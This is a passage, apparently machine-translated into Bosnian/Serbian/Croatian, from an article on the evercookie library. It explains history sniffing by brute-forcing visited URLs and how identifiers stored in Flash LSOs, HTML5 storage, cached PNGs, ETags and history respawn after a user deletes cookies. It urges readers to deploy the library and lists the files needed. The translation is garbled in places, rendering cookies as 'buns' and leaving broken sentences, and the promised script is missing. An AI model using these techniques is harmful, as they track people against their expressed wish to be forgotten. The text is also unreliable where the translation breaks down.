za jedan lik. Čim skripta vidi URL kojem se pristupilo, on
počinje iterirati preko sljedećeg znaka. Ispada neka vrsta grube sile. U praksi
ovaj odabir se vrši izuzetno brzo, jer nema zahtjeva za
server se ne izvršavaju. Pretraživanje u historiji se maksimalno provodi lokalno
kratkoročno. Biblioteka zna da je stigla do kraja reda kada je URL
završiti sa "-". Dekodiramo Base64 i dobijamo naše podatke. Kako
navedite programere pretraživača koji ovo dozvoljavaju?

Pokušajte da pobegnete

Šta se dešava ako korisnik obriše svoje kolačiće? Važna karakteristika same biblioteke
evercookie je da će korisnik morati naporno raditi
obrišite kolačiće ostavljene na različitim mjestima - sada ih ima 10. Ako je barem jedan
mjestu gdje ovi kolačići ostaju, oni će se automatski vratiti u sva ostala
mjesta. Na primjer, ako korisnik ne samo da izbriše svoje standardne kolačiće, već
i očisti LSO podatke, očisti HTML5 skladište, što je ionako malo vjerovatno
kolačići kreirani s keširanim PNG-om i web historijom će ostati. At
sljedeću posjetu stranici sa evercookie-om, biblioteka neće samo moći pronaći
skrivena punđa, ali će ih i vratiti na sva druga mjesta koja
podržava pretraživač klijenta. Zanimljiva stvar je vezana za transfer
"buns" između pretraživača. Ako korisnik primi kolačiće u jednom pretraživaču,
odnosno veća je vjerovatnoća da će se reprodukovati kod drugih. Jedina stvar
neophodan uslov za to je pohranjivanje podataka u kolačić lokalnog zajedničkog objekta.

Kako koristiti?

Evercookie biblioteka je potpuno otvorena, tako da možete slobodno
koristite ga, prilagodite ga svojim potrebama. Server nije predstavljen ni sa jednim
ozbiljnih zahteva. Sve što je potrebno je pristup JS skripti, u kojoj
sadrži evercookie kod. Za korištenje Flash kolačića (lokalni zajednički objekt),
folder sa skriptom mora sadržavati datoteku evercookie.swf, a da bi tehničar mogao raditi,
na osnovu PNG keširanja i korištenja ETag pohrane, potreban vam je pristup
PHP skripte evercookie_png.php i evercookie_etag.php. Koristite evercookie
možete na bilo kojoj stranici web stranice povezivanjem sljedeće skripte:




mob_info